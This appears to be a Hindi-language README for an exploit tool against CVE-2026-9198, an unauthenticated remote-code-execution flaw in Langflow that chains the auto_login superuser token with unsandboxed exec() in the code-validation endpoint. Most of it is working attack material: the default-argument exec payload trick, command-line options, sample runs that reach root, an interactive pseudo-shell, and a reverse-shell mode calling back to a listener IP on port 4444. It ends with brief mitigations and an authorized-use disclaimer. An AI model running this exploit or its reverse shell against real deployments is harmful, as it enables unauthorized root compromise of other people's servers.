
CVE-2026-9198 के लिए एक्सप्लॉइट, जिसमें लक्ष्य वातावरणों में भेद्यता का आकलन करने के लिए प्रूफ-ऑफ-कॉन्सेप्ट पेलोड और सत्यापन चरण शामिल हैं।
डिफ़ॉल्ट डिप्लॉयमेंट पर IBM Langflow OSS (1.0.0 – 1.10.0) में अनधिप्रमाणित रिमोट कोड एक्ज़ीक्यूशन। यह दो त्रुटियों को श्रृंखलाबद्ध करता है:
AUTO_LOGIN सक्षम होता है (जो Langflow < 1.5 में डिफ़ॉल्ट है), GET /api/v1/auto_login बिना किसी क्रेडेंशियल के किसी भी कॉलर को SUPERUSER JWT जारी कर देता है।POST /api/v1/validate/code उपयोगकर्ता द्वारा प्रदान किए गए Python को बिना किसी सैंडबॉक्स के exec() को पास कर देता है।साथ मिलकर (CVE-2026-9198), एक अनधिप्रमाणित हमलावर Langflow सेवा उपयोगकर्ता के रूप में कोड एक्ज़ीक्यूशन प्राप्त कर लेता है — जो अक्सर root होता है।
/api/v1/auto_login से सुपरयूज़र बियरर टोकन का अनुरोध करता है (बिना प्रमाणीकरण)।
/api/v1/validate/code पर एक पेलोड सबमिट करता है। एंडपॉइंट कोड को "सत्यापित" करने के लिए उस पर exec() चलाता है; Python परिभाषा के समय डिफ़ॉल्ट आर्ग्युमेंट मानों का मूल्यांकन करता है, इसलिए पेलोड को एक फ़ंक्शन के डिफ़ॉल्ट आर्ग्युमेंट में लपेटा जाता है:
def _v(a=exec('<payload>')): pass
कमांड निष्पादन के लिए पेलोड एक अपवाद उत्पन्न करता है जिसका संदेश कमांड आउटपुट होता है, जिसे एंडपॉइंट प्रतिक्रिया में वापस दर्शाता है (function.errors[])।
./exploit.py -t <target> [options]
-t, --target लक्ष्य होस्ट/IP (या पूरा URL) (आवश्यक)
-p, --port Langflow पोर्ट (डिफ़ॉल्ट 7860)
-c, --cmd एकल शेल कमांड चलाएँ, आउटपुट प्रिंट करें
--shell इंटरैक्टिव स्यूडो-शेल (प्रत्येक पंक्ति RCE के माध्यम से चलती है)
--lhost रिवर्स-शेल लिसनर IP
--lport रिवर्स-शेल लिसनर पोर्ट (डिफ़ॉल्ट 4444)
-k, --token इस बियरर टोकन का उपयोग करें (auto_login छोड़ें)
--timeout HTTP टाइमआउट सेकंड में (डिफ़ॉल्ट 20)
--no-banner बैनर छिपाएँ
-h, --help सहायता दिखाएँ
$ ./exploit.py -t 192.168.30.128
CVE-2026-9198 — Langflow unauthenticated RCE
auto_login (superuser token) -> validate/code (exec)
[*] requesting superuser token via /api/v1/auto_login ...
[+] token: eyJhbGciOiJIUzI1NiIsInR...
uid=0(root) gid=0(root) groups=0(root)
$ ./exploit.py -t 192.168.30.128 -c 'cat /root/proof.txt'
...
d4b81f6a3c9e07254f6a3c9e07254d4b
$ ./exploit.py -t 192.168.30.128 --shell
[+] RCE confirmed: uid=0(root) gid=0(root) groups=0(root)
[*] pseudo-shell — each line runs via a fresh request. Ctrl-C / 'exit' to quit.
langflow$ hostname
flow
langflow$ whoami
root
# reverse shell (start `nc -lvnp 4444` first)
$ ./exploit.py -t 192.168.30.128 --lhost 10.10.14.7 --lport 4444
[*] sending reverse shell to 10.10.14.7:4444 (start your listener first) ...
[+] payload sent. Check your listener.
pip install की आवश्यकता नहीं)AUTO_LOGIN सक्षम हो (Langflow < 1.5 के लिए डिफ़ॉल्ट; >= 1.5 पर इसे स्पष्ट रूप से LANGFLOW_AUTO_LOGIN=true होना चाहिए)। यदि auto_login कोई टोकन नहीं लौटाता है, तो लक्ष्य इस पथ के माध्यम से शोषणीय नहीं है — यदि आपके पास वैध टोकन है तो उसे -k के साथ प्रदान करें।function.errors[] में लौटाया जाता है; stderr को stdout में मिला दिया जाता है ताकि विफल कमांड भी अपनी त्रुटि दिखा सकें।root है (systemd/Docker-as-root के अंतर्गत सादे langflow run के साथ सामान्य), तो यह सीधे होस्ट रूट है।validate/code को अविश्वसनीय इनपुट पर exec() नहीं करना चाहिए और auto_login को सुपरयूज़र टोकन नहीं जारी करने चाहिए।LANGFLOW_AUTO_LOGIN=false सेट करें और वास्तविक सुपरयूज़र क्रेडेंशियल कॉन्फ़िगर करें।root के रूप में न चलाएँ।यह प्रोजेक्ट केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रकाशित किया गया है। इसका उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने के लिए आपके पास स्पष्ट अनुमति नहीं है। लेखक दुरुपयोग के लिए कोई दायित्व स्वीकार नहीं करता।